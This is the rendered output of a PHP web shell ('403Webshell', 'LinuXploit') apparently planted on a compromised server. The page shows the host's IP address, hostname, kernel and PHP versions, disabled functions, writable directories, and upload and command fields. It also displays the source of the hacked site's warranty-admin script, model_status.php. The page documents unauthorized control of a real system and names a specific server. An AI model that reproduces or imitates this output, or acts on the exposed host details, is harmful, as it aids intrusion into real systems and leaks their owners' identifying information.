403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)eizo.hkosl.com/global/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)eizo.hkosl.com/global/webadmin/model_status.php
<?php
	include 'config.php';

// Check if the user is logged in

	if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1')) {
		header("Location: login.php");
		exit;
	}

	$nowdate   = date("Y-m-d H:i:s");
	$series_id = $_GET["series_id"];
	$model_id =(int)$_GET["model_id"];

	//check if this model has been record for a warranty
	$sql = "select * from customer_warranty warranty, series series, model model where series.series_id = model.series_id and warranty.model_code = model.model_code and warranty.series_code = series.series_code and model.model_id = ? and warranty.status = ? and warranty.deleted = ?";
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if (!$sth->execute(array($model_id, "1", "0"))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if($sth->rowCount() > 0){
		echo "<script>alert('This model already linked with some customer warranty. You could not modify it.'); history.back();</script>";
		exit;
	}

	// Delete db
	$sql = "update model set status=case when status = 1 then 0 else 1 end, lastupdate=?, lastupby=? where model_id=?";

	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}

	if (!$sth->execute(array($nowdate,$_SESSION['cmsloginid'], $model_id ))) {
		throw new Exception('[' . $sth->errorCode() . ']: ' . print_r($sth->errorInfo()));
	}else{
		header("Location: model_index.php?series_id=$series_id&msg=Update Successful");
	}

	$dbh = null;

?>

Youez - 2016 - github.com/yon3zu
LinuXploit